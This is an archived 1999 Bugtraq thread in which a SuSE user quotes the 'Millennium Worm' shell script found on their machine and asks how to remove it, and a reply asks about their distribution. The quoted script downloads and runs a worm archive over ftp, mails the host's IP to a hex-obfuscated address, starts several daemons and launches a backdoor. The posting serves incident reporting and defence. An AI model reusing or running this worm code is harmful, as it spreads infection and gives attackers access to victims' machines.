[11704] in bugtraq
Re: MW
daemon@ATHENA.MIT.EDU (Nassar Carnegie)
Tue Sep 7 07:10:32 1999
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Message-Id: <Pine.LNX.4.04.9909040332550.547-100000@ruff.madvexed.com>
Date: Sat, 4 Sep 1999 03:33:16 -0400
Reply-To: Nassar Carnegie <tracc@ABRAXIS.COM>
From: Nassar Carnegie <tracc@ABRAXIS.COM>
X-To: Christian Koderer <ko@WEIKERT-BENSHEIM.DE>
To: BUGTRAQ@SECURITYFOCUS.COM
In-Reply-To: <37CCD1BD.69C3E9EE@weikert-bensheim.de>
Was this part of a suse installation?
What distro are you running?
---
Nassar Carnegie
tracc@abraxis.com
On Wed, 1 Sep 1999, Christian Koderer wrote:
> Knows anybody MW (millennium worm?) and how i get my s.u.s.e
> installation clean?
>
> "#!/bin/.mwsh
> # Millennium Worm by Anonymous
> # If you found this on your machine, but didn't download it
> # well.. you have a problem :)
> export PATH="/bin/:/usr/sbin/:/usr/bin:/sbin:/usr/local/bin:."
> export IP_A=`./IP`
>
> ../prepare for your d00m mortalz
>
> cat << _EOF_ > cmd
> mw
> mw
> mw
> mw
> mw
> /bin/.mwsh -c "/usr/sbin/named" &
> export PATH="/bin/:/usr/sbin/:/usr/bin:/sbin:/usr/local/bin:."
> mkdir /tmp/....
> cd /tmp/....
> if [ -f /tmp/.X12 ]
> then
> logout
> fi
> ftp $IP_A
> mw
>
>
> cd /tmp/....
> get mworm.tgz
> bye
> tar xvzf mworm.tgz
> touch /tmp/.X12
> nohup ./mworm &
> ../IP | mail `printf
> "\x62\x65\x75\x72\x70\x40\x68\x6f\x74\x6d\x61\x69\x6c\x2e\x63\x6f\x6d"`
> logout
> _EOF_
>
> ../mwd &
> ../mwd-pop &
> ../mwd-imap &
> ../mwd-mountd &
> ../mwd-ftp &
> sleep 60
> nohup ./mwd &
> nohup ./mwd-pop &
> nohup ./mwd-imap &
> nohup ./mwd-mountd &
> nohup ./mwd-ftp &
>
> /bin/.mwsh -c ./bd
> "
>
